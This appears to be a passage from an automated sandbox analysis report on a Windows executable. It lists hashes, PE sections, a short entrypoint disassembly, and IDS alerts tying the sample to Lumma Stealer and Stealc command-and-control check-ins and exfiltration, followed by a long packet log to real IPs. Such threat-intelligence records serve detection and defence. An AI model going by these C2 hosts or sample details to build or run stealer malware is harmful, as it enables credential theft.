Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......pN...........@...........................N......L+...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...ynqricro..)...$...)..\|..............@...wjlvyldl.....`N.......+.............@....taggant.0...pN.."..."+.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe

Download File

Process:	C:\Users\user\Desktop\pfY4k1qisn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2765312
Entropy (8bit):	6.472048555078744
Encrypted:	false
SSDEEP:	49152:7BHOMBnHvofpeKjh8RoNjIS1q4G0cL0+3JLmswbFze:71OMBnHvoUKaRoJIS1q4GNwFze
MD5:	579641D4119C3977AA3E5FDCBB740D8B
SHA1:	F1AAC5BF32B9121D64D71B41A0493525862AE82D
SHA-256:	2AEBE4A6A652C6DE494CF0A16B36FF6788933B807A2651350960B5644C7A1185
SHA-512:	50793412314B014BD779FC76AB1D59A87C6ED0DECD4550FF0C90190E53FFDA014EA51EC63B6D9C4B2A9D12B5341A19A079EB95A44DF5AC1E414C40BAB72D2094
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ..................................`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...brdofphe..).......)..h..............@...pzoalvov. ...`....................@....taggant.@......"....*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9485942310619615
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	pfY4k1qisn.exe
File size:	1'856'000 bytes
MD5:	857b0a5b813fc9bbe2f0f6c3a88c608d
SHA1:	42739a778df370f3cf5b3aab232589787e2b7a39
SHA256:	4530b0fa083b6b606fb915aee48fb2b45fc232560a6ea23c5770eb5e8b4b7e00
SHA512:	e83aa19e8ee8f1c75570df4a65b7211a2aeaaabf48c7dd89c24df817e4be53d126a97d46d589c5d5d8d4688b808a3781fb6bdf75ddab66112b07e67b6f97dd5d
SSDEEP:	49152:mKle8I8MCOAC+6INQBO+FIUxS+MLT3/at4D9tEKM:mKfebPINQ82IUxSAB
TLSH:	CC8533318F4E8A1ED5F9ADB489E7A7D8FB30BA18318D6C21B5155E2E1353ECC108865F
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................`I...........@...........................I......C....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x896000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FBDC0EB614Ah
wrmsr
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FBDC0EB8145h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	387f68eab2f4c6bf1d8bf5a02591e428	False	0.997337863869863	data	7.9769901890781645	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2a4000	0x200	e8674b62b9cf896a752b474e1681f0fb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pgrebpvl	0x2f8000	0x19d000	0x19ce00	773826cb21e0bafe63fb85200ba3fc53	False	0.994899877951862	data	7.954429582438173	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fdnlppdx	0x495000	0x1000	0x400	6ab2bdf694d86db8373cde6c8b53137b	False	0.8212890625	data	6.353810182802613	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x496000	0x3000	0x2200	e38906d78ddfca4bb66c77da9d1bbbd0	False	0.068359375	DOS executable (COM)	0.8176990220811783	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T08:23:15.287503+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	172.67.150.173	443	TCP
2024-12-23T08:23:16.019752+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	172.67.150.173	443	TCP
2024-12-23T08:23:16.019752+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	172.67.150.173	443	TCP
2024-12-23T08:23:17.243154+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	172.67.150.173	443	TCP
2024-12-23T08:23:18.012267+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	172.67.150.173	443	TCP
2024-12-23T08:23:18.012267+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	172.67.150.173	443	TCP
2024-12-23T08:23:19.584430+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	172.67.150.173	443	TCP
2024-12-23T08:23:21.821719+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	172.67.150.173	443	TCP
2024-12-23T08:23:24.474611+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	172.67.150.173	443	TCP
2024-12-23T08:23:26.972862+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	172.67.150.173	443	TCP
2024-12-23T08:23:27.728284+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49710	172.67.150.173	443	TCP
2024-12-23T08:23:29.436279+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49716	172.67.150.173	443	TCP
2024-12-23T08:23:33.101452+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49724	172.67.150.173	443	TCP
2024-12-23T08:23:33.882217+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49724	172.67.150.173	443	TCP
2024-12-23T08:23:35.338828+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49731	185.215.113.16	80	TCP
2024-12-23T08:23:48.990450+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49763	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:23:14.067502022 CET	49704	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:14.067554951 CET	443	49704	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:14.067671061 CET	49704	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:14.069190979 CET	49704	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:14.069202900 CET	443	49704	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:15.287394047 CET	443	49704	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:15.287503004 CET	49704	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:15.293081045 CET	49704	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:15.293101072 CET	443	49704	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:15.293452024 CET	443	49704	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:15.343569040 CET	49704	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:15.360704899 CET	49704	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:15.360743046 CET	49704	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:15.360842943 CET	443	49704	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:16.019771099 CET	443	49704	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:16.019882917 CET	443	49704	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:16.019999027 CET	49704	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:16.021609068 CET	49704	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:16.021631956 CET	443	49704	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:16.021647930 CET	49704	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:16.021653891 CET	443	49704	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:16.031980991 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:16.032021046 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:16.032105923 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:16.032403946 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:16.032418013 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:17.243016958 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:17.243154049 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:17.244540930 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:17.244549036 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:17.244781971 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:17.252645969 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:17.252681971 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:17.252705097 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.012190104 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.012240887 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.012301922 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:18.012305975 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.012320995 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.012358904 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.012367010 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:18.012379885 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.012404919 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.012440920 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:18.012449980 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.012517929 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:18.020535946 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.028889894 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.028953075 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:18.028961897 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.077903032 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:18.077915907 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.124775887 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:18.132312059 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.171642065 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:18.205573082 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.208055973 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.208081007 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.208117008 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:18.208125114 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.208184004 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.208230019 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:18.208230019 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:18.208389044 CET	49705	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:18.208404064 CET	443	49705	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.372778893 CET	49706	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:18.372873068 CET	443	49706	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:18.372983932 CET	49706	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:18.373405933 CET	49706	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:18.373437881 CET	443	49706	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:19.584222078 CET	443	49706	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:19.584429979 CET	49706	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:19.585628033 CET	49706	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:19.585647106 CET	443	49706	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:19.585891008 CET	443	49706	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:19.587029934 CET	49706	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:19.587173939 CET	49706	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:19.587208986 CET	443	49706	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:20.439374924 CET	443	49706	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:20.439491034 CET	443	49706	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:20.439563990 CET	49706	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:20.439770937 CET	49706	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:20.439819098 CET	443	49706	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:20.604948044 CET	49707	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:20.604995966 CET	443	49707	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:20.605106115 CET	49707	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:20.605525970 CET	49707	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:20.605539083 CET	443	49707	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:21.821660995 CET	443	49707	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:21.821718931 CET	49707	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:21.823167086 CET	49707	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:21.823174953 CET	443	49707	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:21.823528051 CET	443	49707	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:21.824832916 CET	49707	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:21.824953079 CET	49707	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:21.824980974 CET	443	49707	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:21.825047970 CET	49707	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:21.825052977 CET	443	49707	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:22.956461906 CET	443	49707	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:22.956557035 CET	443	49707	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:22.956618071 CET	49707	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:22.988980055 CET	49707	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:22.989003897 CET	443	49707	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:23.262008905 CET	49708	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:23.262057066 CET	443	49708	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:23.262125969 CET	49708	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:23.262521029 CET	49708	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:23.262530088 CET	443	49708	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:24.474524021 CET	443	49708	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:24.474611044 CET	49708	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:24.476218939 CET	49708	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:24.476227045 CET	443	49708	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:24.476476908 CET	443	49708	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:24.477921009 CET	49708	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:24.478027105 CET	49708	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:24.478049994 CET	443	49708	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:24.478107929 CET	49708	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:24.478115082 CET	443	49708	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:25.403764009 CET	443	49708	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:25.403847933 CET	443	49708	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:25.404061079 CET	49708	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:25.404578924 CET	49708	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:25.404591084 CET	443	49708	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:25.759402990 CET	49710	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:25.759459019 CET	443	49710	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:25.759566069 CET	49710	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:25.759927034 CET	49710	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:25.759938002 CET	443	49710	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:26.972688913 CET	443	49710	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:26.972862005 CET	49710	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:26.974513054 CET	49710	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:26.974529982 CET	443	49710	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:26.974888086 CET	443	49710	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:26.976479053 CET	49710	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:26.976592064 CET	49710	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:26.976602077 CET	443	49710	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:27.728261948 CET	443	49710	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:27.728348970 CET	443	49710	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:27.728398085 CET	49710	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:27.728569984 CET	49710	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:27.728583097 CET	443	49710	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:28.224642992 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:28.224673033 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:28.224742889 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:28.225097895 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:28.225112915 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:29.436147928 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:29.436279058 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.442825079 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.442867994 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:29.443357944 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:29.446962118 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.447947025 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.448156118 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:29.448287964 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.448311090 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:29.448414087 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.448522091 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:29.448661089 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.448685884 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:29.448815107 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.448838949 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:29.448980093 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.448999882 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:29.449009895 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.449018002 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:29.449135065 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.449152946 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:29.449172974 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.449281931 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.449300051 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.491369009 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:29.491672993 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.491719007 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.491759062 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.535342932 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:29.535456896 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:29.579335928 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:31.792448997 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:31.792596102 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:31.792762041 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:31.792850971 CET	49716	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:31.792871952 CET	443	49716	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:31.887125015 CET	49724	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:31.887185097 CET	443	49724	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:31.887260914 CET	49724	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:31.887705088 CET	49724	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:31.887725115 CET	443	49724	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:33.101339102 CET	443	49724	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:33.101452112 CET	49724	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:33.103275061 CET	49724	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:33.103293896 CET	443	49724	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:33.103694916 CET	443	49724	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:33.111799955 CET	49724	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:33.111841917 CET	49724	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:33.111912012 CET	443	49724	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:33.882208109 CET	443	49724	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:33.882330894 CET	443	49724	172.67.150.173	192.168.2.5
Dec 23, 2024 08:23:33.882484913 CET	49724	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:33.882808924 CET	49724	443	192.168.2.5	172.67.150.173
Dec 23, 2024 08:23:33.882847071 CET	443	49724	172.67.150.173	192.168.2.5
